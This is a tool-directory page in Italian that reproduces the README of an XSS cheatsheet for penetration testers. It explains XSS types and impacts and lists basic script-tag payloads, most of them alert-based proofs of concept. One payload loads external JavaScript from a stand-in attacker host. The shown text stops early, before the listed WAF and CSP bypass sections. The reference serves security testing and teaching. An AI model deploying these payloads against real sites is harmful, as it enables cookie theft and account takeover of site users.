Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
xss-cheatsheet — Riferimento completo su XSS che copre payload reflected, stored, DOM e blind, bypass dei filtri, evasione WAF, bypass CSP, mXSS e casi di studio reali su CVE. | Kitploit
Strumenti/GitHubGitHub/ardakocadoru/xss-cheatsheet
Scanner di Vulnerabilità WebGenerazione di PayloadAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebBypass WAFSicurezza WebPenetration TestingApprendimento e FormazioneRisorse Curate
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

2223 mesi faNon ancora revisionato

Riferimento completo su XSS che copre payload reflected, stored, DOM e blind, bypass dei filtri, evasione WAF, bypass CSP, mXSS e casi di studio reali su CVE.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

⚡ XSS Cheatsheet — Riferimento per Cross-Site Scripting

Stars License: MIT PRs Welcome Last Updated Payloads

Il riferimento XSS più completo su GitHub.
Reflected · Stored · DOM · Blind XSS — payload, bypass dei filtri, evasione WAF, bypass CSP, mXSS, catene di prototype pollution e CVE reali. Aggiornato al 2026.

Payload · Bypass dei filtri · Evasione WAF · DOM XSS · Bypass CSP · Blind XSS · Avanzate · Strumenti


Indice

  • Cos'è l'XSS?
  • Tipi di XSS
  • Payload di base
    • Payload classici
    • Alternative ad alert
    • Senza parentesi
    • Senza spazi
    • Con virgolette rimosse
  • Bypass dei filtri
    • Variazione di maiuscole/minuscole
    • Offuscamento dei tag
    • Elenco degli event handler
    • Codifica HTML
    • Codifica JavaScript
    • Codifica URL
    • Doppia codifica
    • Payload SVG
    • Specifici di HTML5
    • Data URI
  • Payload specifici per contesto
    • Contesto HTML
    • Contesto attributo HTML
    • Contesto JavaScript
    • Contesto stringa JavaScript
    • Contesto URL
    • Contesto CSS
    • Contesto JSON / Template
  • Evasione WAF
    • Bypass Cloudflare
    • Bypass ModSecurity
    • Bypass AWS WAF
    • Evasione generica
  • Bypass CSP
    • unsafe-inline
    • script-src self
    • Whitelist CDN
    • base-uri mancante
    • Dangling Markup
    • CSP basata su nonce
  • XSS basato su DOM
    • Sorgenti comuni
    • Sink comuni
    • Payload DOM XSS
    • Template injection AngularJS
  • Blind XSS
  • Poliglotti XSS
  • XSS tramite upload di file
  • XSS negli header HTTP
  • Da XSS a RCE
  • Tecniche avanzate
    • mXSS
    • DOM Clobbering
    • Da prototype pollution a XSS
    • CSTI
  • Difesa
  • CVE reali
  • Strumenti
  • Riferimenti
  • Contribuire

🎯 Cos'è l'XSS?

Il Cross-Site Scripting (XSS) è un attacco di code injection lato client in cui un attaccante inietta script malevoli nei contenuti serviti da un'applicazione web attendibile. Quando il browser della vittima esegue il rendering della pagina, lo script iniettato viene eseguito con gli stessi privilegi degli script legittimi di quell'origine.

Perché l'XSS è importante

L'XSS è costantemente nella OWASP Top 10 perché l'impatto è grave e la superficie d'attacco è enorme:

ImpattoDescrizione
Session HijackingRubare document.cookie e assumere il controllo di sessioni autenticate
Account TakeoverCambiare email/password tramite richieste contraffatte usando la sessione della vittima
KeyloggingCatturare ogni pressione di tasto, incluse password e numeri di carta di credito
PhishingIniettare moduli di login falsi che inviano le credenziali all'attaccante
DefacementModificare il contenuto della pagina per diffondere disinformazione o mettere in imbarazzo il bersaglio
Distribuzione di malwareReindirizzare le vittime verso exploit kit
Crypto MiningEseguire cryptominer nei browser delle vittime
SSRF / Scansione di porte interneUsare il browser della vittima per sondare la rete interna
Raccolta di credenzialiLeggere le credenziali compilate automaticamente dal DOM
Screenshot / WebcamCatturare lo schermo tramite getDisplayMedia(), la webcam tramite getUserMedia()

La Same-Origin Policy e XSS

XSS aggira la Same-Origin Policy (SOP). Poiché lo script malevolo viene servito dall'origine del bersaglio, il browser lo considera attendibile. Ciò significa che XSS fornisce a un attaccante:

  • Accesso completo in lettura/scrittura al DOM
  • Accesso a tutti i cookie non protetti da HttpOnly
  • La capacità di effettuare richieste XHR/fetch autenticate verso la stessa origine
  • Accesso a localStorage e sessionStorage

🗺️ Tipi di XSS

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
TipoPersistenzaChi viene colpitoIl server vede il payload?
RiflessoNoVittima mirataSì
MemorizzatoSìTutti i visitatoriSì
DOMNoVittima mirataDi solito no
CiecoSì (remoto)Admin / utente backendSì (nel punto di iniezione)

💥 Payload di base

Classici

I payload fondamentali che ogni ricercatore di sicurezza conosce. Funzionano dove non esiste alcun filtro.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

Alternative ad alert (quando alert è bloccato)

Molte applicazioni moderne e WAF bloccano la parola alert. Usa queste alternative:

Scarica lo strumento